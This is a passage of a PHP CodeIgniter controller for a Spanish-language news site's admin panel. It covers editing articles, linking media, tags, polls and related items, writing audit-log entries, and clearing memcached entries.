                'id_seccion' => $this->input->post('category_id'),
                'id_subseccion' => $subcategory_id,
                'vista' => $vista,
                'url' => $url
            );
            $this->codegen_model->edit('nota', $data, 'id', $id);

            /* SI SE EDITA LA DESCRIPCIÓN DE LA FOTO */
            if ($this->input->post('id_foto') != '') {
                $efoto = array(
                    'descripcion' => $this->input->post('epi')
                );
                $this->codegen_model->edit('relacion', $efoto, 'nota_id', $id);
            }
            /* FIN DE EDICIÓN FOTO */

            /* RELACIÓN FOTO */
            if ($this->input->post('foto_id') != '') {

                $data_foto = array(
                    'nota_id' => $id,
                    'objeto_id' => $this->input->post('foto_id'),
                    'tipo' => 30,
                    'orden' => 1,
                    'destacado' => 1,
                    'descripcion' => $this->input->post('epigrafe')
                );
                $this->codegen_model->add('relacion', $data_foto);
                /* AUDITORÍA FOTO */
                $audit_foto = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga de foto id " . $this->input->post('foto_id') . " en la nota " . $id . " desde formulario",
                    'operacion_id' => 4,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_foto);
                /* FIN AUDITORÍA FOTO */
            }
            /* FIN RELACIÓN FOTO */

            /* SI SE EDITA LA DESCRIPCIÓN DE LA VIDEO */
            if ($this->input->post('id_video') == '') {
                $evideo = array(
                    'descripcion' => $this->input->post('desc_v')
                );
                $this->codegen_model->edit('video', $evideo, 'id', $this->input->post('id_video'));
            }
            /* FIN DE EDICIÓN VIDEO */

            /* VIDEO */
            if ($this->input->post('video') != '') {
                $url = $this->input->post('video');
                $buscar_cod = strpos($url, 'youtu.be');
                if ($buscar_cod == false) {
                    $cod_separado = explode('=', $url);
                    $codigo = $cod_separado[1];
                } else {
                    $cod_separado = explode('/', $url);
                    $codigo = $cod_separado[3];
                }

                /* Guardo el video */
                $data_video = array(
                    'tipo' => 1,
                    'video' => $url,
                    'codigo' => $codigo,
                    'descripcion' => $this->input->post('desv'),
                    'habilitado' => 1,
                    'fechaAlta' => date("Y-m-d H:i:s"),
                    'usuario_id' => $this->session->userdata('user_id')
                );
                $video_id = $this->codegen_model->addReturnID('video', $data_video);

                /* Guardo la Relación */
                $data_rel_vid = array(
                    'nota_id' => $id,
                    'objeto_id' => $video_id,
                    'tipo' => 2,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => $this->input->post('desv')
                );
                $this->codegen_model->add('relacion', $data_rel_vid);

                /* AUDITORÍA VIDEO */
                $audit_video = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga del video id " . $video_id . " en la nota " . $id . " desde formulario",
                    'operacion_id' => 46,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_video);
                /* FIN AUDITORÍA VIDEO */
            }
            /* FIN VIDEO */

            /* PERIODISTA SI EXISTE RELACIÓN LA EDITA */
            if ($n_periodista != '') {
                $eperiodista = array(
                    'objeto_id' => $this->input->post('periodista')
                );
                $this->codegen_model->edit('relacion', $eperiodista, 'id', $n_periodista->id);
            } else {
                /* RELACIÓN PERIODISTA */
                if ($autor != 0) {
                    $data_per = array(
                        'nota_id' => $id,
                        'objeto_id' => $this->input->post('periodista'),
                        'tipo' => 4,
                        'orden' => 1,
                        'destacado' => 0,
                        'descripcion' => "Periodista relacionado"
                    );
                    $this->codegen_model->add('relacion', $data_per);
                    /* AUDITORÍA PERIODISTA */
                    $audit_per = array(
                        'usuario_id' => $this->session->userdata('user_id'),
                        'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                        'operacion' => "Nota id " . $id . " relacionada con el autor id " . $this->input->post('periodista') . " desde formulario",
                        'operacion_id' => 47,
                        'consulta' => "Nota desde formulario",
                        'objeto_id' => $id,
                        'ip_origen' => $ip,
                        'fecha' => date("Y-m-d H:i:s")
                    );
                    $this->codegen_model->add('usuario_historial', $audit_per);
                    /* FIN AUDITORÍA PERIODISTA */
                }
                /* FIN RELACIÓN PERIODISTA */
            }
            /* FIN DE EDICIÓN PERIODISTA */

            /* RELACIÓN ENCUESTA */
            if ($this->input->post('encuesta') != 0) {
                $data_enc = array(
                    'nota_id' => $id,
                    'objeto_id' => $this->input->post('encuesta'),
                    'tipo' => 6,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => "Encuesta relacionada"
                );
                $this->codegen_model->add('relacion', $data_enc);
                /* AUDITORÍA ENCUESTA */
                $audit_enc = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Nota id " . $id . " relacionada con la encuesta id " . $this->input->post('encuesta') . " desde formulario",
                    'operacion_id' => 48,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_enc);
                /* FIN AUDITORÍA ENCUESTA */
            }
            /* FIN RELACIÓN ENCUESTA */

            /* RELACIÓN TAGS */
            if ($this->input->post('tags[]') != "") {
                // Primero se eliminan los tags viejos
                $this->codegen_model->delete('relacion_tag', 'nota_id', $id);

                $i = 0;
                foreach ($this->input->post('tags[]') as $tag) {
                    $fullstring = $tag;
                    $tag_key = $this->get_string_between($fullstring, '{"key":"', '",');
                    $tag_value = $this->get_string_between($fullstring, '"value":"', '"}');

                    // Compruebo si existen, sino los creo y los relaciono
                    if ($tag_key != "") {
                        $data_tag = array(
                            'nota_id' => $id,
                            'tag_id' => $tag_key,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $id . " relacionada con el tag id " . $tag_key . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                        /* FIN AUDITORÍA TAGS */
                    } else {
                        $limpio = $this->varios_lb->limpiarurl($tag_value);
                        $data_nuevotag = array(
                            'nombre' => $tag_value,
                            'tipo' => 'Tag interno',
                            'tipo_id' => 4,
                            'alias' => $limpio,
                        );
                        $nuevotag = $this->codegen_model->addReturnID('tag', $data_nuevotag);
                        /* AUDITORÍA NUEVO TAGS */
                        $audit_tag = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Se ha creado un nuevo TAG id" . $nuevotag . " con el nombre " . $tag_value . " desde nota",
                            'operacion_id' => 81,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_tag);
                        /* FIN AUDITORÍA NUEVO TAGS */

                        $data_tag = array(
                            'nota_id' => $id,
                            'tag_id' => $nuevotag,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $id . " relacionada con el tag id " . $nuevotag . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                    }
                    $i++;
                }
            }
            /* FIN RELACIÓN TAGS */

            /* AUDITORÍA NOTA */
            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Modificación de la nota " . $id . " desde formulario",
                'operacion_id' => 13,
                'consulta' => "Nota desde formulario",
                'objeto_id' => $id,
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA NOTA */


            $messge = array('message' => 'Nota editada correctamente', 'class' => 'alert alert-success fade-in');
            $this->session->set_flashdata('actualizar', $messge);

            $this->_recargar_cache($id, $this->input->post('category_id'));

            if ($this->input->post('submit') == "actualizar") {
                redirect(base_url() . 'notas/edit/' . $id);
            } elseif ($this->input->post('submit') == "finalizar") {
                if ($edicion_id == 0) {
                    redirect(base_url() . 'notas', 'refresh');
                } else {
                    redirect(base_url() . 'notas/edicion/' . $edicion_id, 'refresh');
                }
            }
        }

        $datos_plantilla["padre"] = ucwords("Notas");
        $datos_plantilla["title"] = ucwords("Editar Nota");
        $datos_plantilla["contenido_main"] = $this->load->view('components/notas/notas_edit', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function edicion($id = 0) {
        if ($id == 0) {
            $message = array('message' => 'NO EXISTE Edición para esa fecha. Busque otra fecha por favor.', 'class' => 'alert alert-danger fade-in');
            $this->session->set_flashdata('agregar', $message);

            redirect(base_url() . 'notas/');
        }

        $this->data['edicion'] = $this->codegen_model->getEditCMS('edicion', $id, 'id');

        $this->data['notas'] = $this->notas_md->getNotasDelDia($id);
        $this->data['tags'] = $this->tag_md->getAll();
        $this->data['secciones'] = $this->secciones_md->getAllSecciones();
        $this->data['subsecciones'] = $this->secciones_md->getAllSubSecciones();
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', 'habilitada = 1');

        /* Cambio de Edición de una Nota */
        if ($this->input->post('form_cambiar')) {
            $fecha = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fecha'))));
            $edicion_id = $this->ediciones_md->getEdicionPorFecha($fecha);

            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Modificación de Edición en nota " . $this->input->post('notaid') . " desde tabla de edición " . $id . " a edición " . $edicion_id,
                'operacion_id' => 13,
                'consulta' => "Nota desde tabla",
                'objeto_id' => $this->input->post('notaid'),
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA */

            $this->_recargar_cache($this->input->post('notaid'));

            if ($edicion_id != false) {
                $data = array(
                    'edicion_id' => $edicion_id,
                );
                $this->codegen_model->edit('nota', $data, 'id', $this->input->post('notaid'));
                redirect(base_url() . 'notas/edicion/' . $edicion_id);
            } else {
                redirect(base_url() . 'notas/edicion/' . $id);
            }
        }

        /* Agregar Encuesta a la nota */
        if ($this->input->post('form_encuesta')) {
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Agregado de encuesta en nota " . $this->input->post('notaid') . " desde tabla",
                'operacion_id' => 13,
                'consulta' => "Nota desde tabla",
                'objeto_id' => $this->input->post('notaid'),
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA */

            $data = array(
                'nota_id' => $this->input->post('notaid'),
                'objeto_id' => $this->input->post('encuestaid'),
                'tipo' => 6,
                'orden' => 1,
                'destacado' => 0,
                'descripcion' => "Encuesta relacionada"
            );
            $this->codegen_model->add('relacion', $data);
            redirect(base_url() . 'notas/edicion/' . $id);
        }

        /* Cambio de Edición */
        if ($this->input->post('form_otraedicion')) {
            $fechaedicion = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fechaedicion'))));
            $edicion_id = $this->ediciones_md->getEdicionPorFecha($fechaedicion);

            redirect(base_url() . 'notas/edicion/' . $edicion_id, 'refresh');
        }

        $datos_plantilla["padre"] = ucwords("Notas");
        $datos_plantilla["title"] = ucwords("Notas de la Edición");
        $datos_plantilla["contenido_main"] = $this->load->view('components/notas/notas_edicion', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function buscar($busqueda = '') {
        $this->data['tags'] = $this->tag_md->getAll();
        $this->data['secciones'] = $this->secciones_md->getAllSecciones();
        $this->data['subsecciones'] = $this->secciones_md->getAllSubSecciones();

        if ($busqueda == '') {
            $this->data['notas'] = '';
        } else {
            /* Decode de URL */
            $busqueda = urldecode($busqueda);
            $resultado = "";
            preg_match_all('/"/', $busqueda, $resultado);
            if (!empty($resultado[0])) {
                $busqueda = str_replace('"', "", $busqueda);
                $this->data['notas'] = $this->notas_md->getBuscarNotaCompleta($busqueda);
                $this->data['cuentas'] = $this->notas_md->getBuscarNotaCompleta($busqueda);
            } else {
                $this->data['notas'] = $this->notas_md->getBuscarNota($busqueda);
                $this->data['cuentas'] = $this->notas_md->getBuscarNota($busqueda);
            }
        }

        if ($this->input->post('enviar_form')) {
            redirect(base_url() . 'notas/buscar/' . $this->input->post('buscar'));
        }

        /* Cambio de Edición de una Nota */
        if ($this->input->post('form_cambiar')) {
            $fecha = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fecha'))));
            $edicion_id = $this->ediciones_md->getEdicionPorFecha($fecha);

            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Modificación de Edición en nota " . $this->input->post('notaid') . " desde tabla a edicion " . $edicion_id,
                'operacion_id' => 13,
                'consulta' => "Nota desde tabla",
                'objeto_id' => $this->input->post('notaid'),
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA */

            $this->_recargar_cache($this->input->post('notaid'));

            if ($edicion_id != false) {
                $data = array(
                    'edicion_id' => $edicion_id,
                );
                $this->codegen_model->edit('nota', $data, 'id', $this->input->post('notaid'));
                redirect(base_url() . 'notas/edicion/' . $edicion_id);
            } else {
                redirect(base_url() . 'notas');
            }
        }

        $datos_plantilla["padre"] = ucwords("Notas");
        $datos_plantilla["title"] = ucwords("Buscar Nota");
        $datos_plantilla["contenido_main"] = $this->load->view('components/notas/notas_buscar', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function delete() {
        $ID = $this->uri->segment(3);
        $this->codegen_model->delete('nota', 'id', $ID);
        redirect(base_url() . 'notas/');

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        $this->_recargar_cache($ID);

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Eliminación de nota id $ID desde tabla",
            'operacion_id' => 14,
            'consulta' => "Nota desde tabla",
            'objeto_id' => $ID,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
    }

    function quitarencuesta() {
        $id = $this->input->post('id');
        $nota_encu = $this->codegen_model->getEditCMS('relacion', $id, 'id');
        $this->codegen_model->delete('relacion', 'id', $id);

        $this->_recargar_cache($nota_encu->nota_id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Elimicación de la relación con la encuesta $nota_encu->objeto_id, nota $nota_encu->nota_id desde tabla",
            'operacion_id' => 13,
            'consulta' => "Nota desde tabla",
            'objeto_id' => $nota_encu->nota_id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
    }

    function habilitar() {
        $id = $this->input->post('id');
        $data = array(
            'habilitada' => $this->input->post('hab'),
            'fechamod' => date('Y-m-d H:i:s', time())
        );
        $this->codegen_model->edit('nota', $data, 'id', $id);

        $this->_recargar_cache($id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Cambio de estado de Habilaticón de nota id $id desde tabla",
            'operacion_id' => 13,
            'consulta' => "Nota desde tabla",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
    }

    function editartitulo() {
        $valores = filter_input_array(INPUT_POST);

        $id = substr($valores['nota_id'], 0, -1);

        $data = array(
            'titulo' => $valores['titulo'],
            'fechamod' => date('Y-m-d H:i:s', time())
        );
        $this->codegen_model->edit('nota', $data, 'id', $id);

        $this->_recargar_cache($id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Cambio de título de nota id " . $id . " desde tabla",
            'operacion_id' => 13,
            'consulta' => "Nota desde tabla",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
    }

    function cargararchivo() {

        $rutaArchivo = $this->genesis_lb->subirArchivo(); //Obtengo la ruta donde guardo el archivo
        // Include the editor SDK.
        include FROALA_PATH . 'editor-php-sdk/lib/autoload.php';

        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            throw new Braintree_Exception('PHP version >= 5.4.0 required');
        }

        try {
            $response = FroalaEditor_File::upload2($rutaArchivo);
            echo stripslashes(json_encode($response));
        }//fin del try
        catch (Exception $e) {
            http_response_code(404);
        }
    }

    function buscarnota($texto) {
        //reemplazo los caracteres especiales que vienen en HEXADECIMAL a su equivalente
        $texto = str_replace('%22', '"', $texto);
        $texto = str_replace('%20', ' ', $texto);
        $texto = str_replace('%E2%80%9C', '“', $texto);

        $related = $this->notas_md->getLike($texto);
        if (count($related) > 0) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('search' => $related, 'r' => count($related));
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header("HTTP/1.1 304 OK");
            header('Content-Type: application/json');
            $datos = array('result' => 'No se encontraron resultados');
        }
    }

    function buscarevento($texto) {
        //reemplazo los caracteres especiales que vienen en HEXADECIMAL a su equivalente
        $texto = str_replace('%22', '"', $texto);
        $texto = str_replace('%20', ' ', $texto);
        $texto = str_replace('%E2%80%9C', '“', $texto);

        $related = $this->notas_md->getEvento($texto);
        if (count($related) > 0) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('search' => $related, 'r' => count($related));
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header("HTTP/1.1 304 OK");
            header('Content-Type: application/json');
            $datos = array('result' => 'No se encontraron resultados');
        }
    }

    function addnrelacion($id) {
        $relacionada = $this->input->post('id_nota_related');

        $data = array(
            'nota_id' => $id,
            'objeto_id' => $relacionada,
            'tipo' => 32,
            'orden' => 1,
            'destacado' => 1,
            'descripcion' => "Nota relacionada"
        );
        $this->codegen_model->add('relacion', $data);

        $this->_recargar_cache($id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Nueva relación de la nota " . $relacionada . " con la nota " . $id . " desde formulario",
            'operacion_id' => 49,
            'consulta' => "Nota desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */

        header("HTTP/1.1 200 OK");
        header('Content-Type: application/json');
        $datos = array('status' => 'OK');
        die(json_encode($datos, JSON_FORCE_OBJECT));
    }

    function borrarnrelacion($id) {
        $relacionada = $this->input->post('id_nota_related');
        $res = $this->notas_md->delRelacionNotas($id, $relacionada);

        $this->_recargar_cache($id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Se eliminó relación de la nota " . $relacionada . " con la nota " . $id . " desde formulario",
            'operacion_id' => 49,
            'consulta' => "Nota desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */

        if ($res == TRUE) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('status' => 'OK');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header("HTTP/1.1 409 ERROR");
            header('Content-Type: application/json');
            $datos = array('status' => 'ERROR');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        }
    }

    function adderelacion($id) {
        $relacionada = $this->input->post('id_evento_rel');

        $data = array(
            'nota_id' => $id,
            'objeto_id' => $relacionada,
            'tipo' => 36,
            'orden' => 1,
            'destacado' => 1,
            'descripcion' => "Evento relacionado"
        );
        $this->codegen_model->add('relacion', $data);

        $this->_recargar_cache($id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Nueva relación del evento " . $relacionada . " con la nota " . $id . " desde formulario",
            'operacion_id' => 50,
            'consulta' => "Nota desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */

        header("HTTP/1.1 200 OK");
        header('Content-Type: application/json');
        $datos = array('status' => 'OK');
        die(json_encode($datos, JSON_FORCE_OBJECT));
    }

    function borrarerelacion($id) {
        $relacionada = $this->input->post('id_evento_rel');
        $res = $this->notas_md->delRelacionEventos($id, $relacionada);

        $this->_recargar_cache($id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Se eliminó relación del evento " . $relacionada . " con la nota " . $id . " desde formulario",
            'operacion_id' => 49,
            'consulta' => "Nota desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */

        if ($res == TRUE) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('status' => 'OK');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header("HTTP/1.1 409 ERROR");
            header('Content-Type: application/json');
            $datos = array('status' => 'ERROR');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        }
    }

    function lastactive($id) {
        $usuario = $this->session->userdata('user_id');
        $ahora = date("YmdHis");

        $data = array(
            'lastactive' => $ahora . "_" . $usuario,
        );
        $this->codegen_model->edit('nota', $data, 'id', $id);

        return true;
    }

    public function quitar_relencu() {
        $encuesta = $this->input->post('encu');
        $nota = $this->input->post('nota');
        $res = $this->encuestas_md->delRelacionEncuesta($encuesta, $nota);

        $this->_recargar_cache($nota);

        if ($res == true) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('estado' => '200');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header('HTTP/1.1 500 Internal Server Error');
            header('Content-Type: application/json');
            $error = array('estado' => 'error', 'mensaje' => 'Error en la operación');
            die(json_encode($error, JSON_FORCE_OBJECT));
        }
    }

    public function autosave($idnota = '') {

        $ultimoid = $this->notas_md->getUltimoIDNota();
        $idfinal = $ultimoid->id + 1;

        if ($idnota == '') {
            $idnota = $idfinal;
        }

        $data = array(
            'id_nota' => $idnota,
            'anteTitulo' => $this->input->post('antetitulo'),
            'titulo' => $this->input->post('titulo'),
            'sumario' => $this->input->post('bajada'),
            'texto' => $this->input->post('content'),
        );
        $this->codegen_model->add('nota_backup', $data);
    }

    public function _recargar_cache($nota_id = 0, $seccion_id = 0) {
        $this->load->library('memcached_library');

        if ($nota_id > 0) {
            /* Me fijo si esta cacheada la nota */
            $nota_en_cache = $this->memcached_library->get('nota_' . $nota_id);
            if ($nota_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id);
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheada la firma de la nota */
            $nota_firma_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_autor');
            if ($nota_firma_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_autor');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los tags de la nota */
            $nota_tags_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_tags');
            if ($nota_tags_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_tags');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado las fotos de la nota */
            $nota_fotos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_fotos');
            if ($nota_fotos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_fotos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_videos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_videos');
            if ($nota_videos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_videos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_adjuntos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_adjuntos');
            if ($nota_adjuntos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_adjuntos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_encuestas_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_encuestas');
            if ($nota_encuestas_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_encuestas');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_evento_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_evento');
            if ($nota_evento_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_evento');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_lugares_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_lugares');
            if ($nota_lugares_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_lugares');
            /*             * ********Fin Cache************** */
        }

        /* Me fijo si esta cacheada la nota */
        $rank_en_cache = $this->memcached_library->get('masvistas');
        if ($rank_en_cache)
            $this->memcached_library->delete('masvistas');
        /*         * ********Fin Cache************** */

        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('ult_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('ult_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('vis_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('vis_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('com_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('com_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si UM */
        $um_en_cache = $this->memcached_library->get('nota_seccion_um');
        if ($um_en_cache)
            $this->memcached_library->delete('nota_seccion_um');
        /*         * ********Fin Cache************** */


        /* Me fijo si esta cacheado las secciones home */
        $nota_seccion_home_en_cache = $this->memcached_library->get('notas_tag_' . $seccion_id . '_home');
        if ($nota_seccion_home_en_cache)
            $this->memcached_library->delete('notas_tag_' . $seccion_id . '_home');
        /*         * ********Fin Cache************** */

        /* Borro cache de todas las secciones home */
        $nota_seccion_todas_en_cache = $this->memcached_library->get('notas_tag_0_home');
        if ($nota_seccion_todas_en_cache)
            $this->memcached_library->delete('notas_tag_0_home');
        /*         * ********Fin Cache************** */

        /* Me fijo si esta cacheado del bloque home por sección */
        $nota_bloque_home_en_cache = $this->memcached_library->get('bloque_automatico_home_' . $seccion_id);
        if ($nota_bloque_home_en_cache)
            $this->memcached_library->delete('bloque_automatico_home_' . $seccion_id);
        /*         * ********Fin Cache************** */

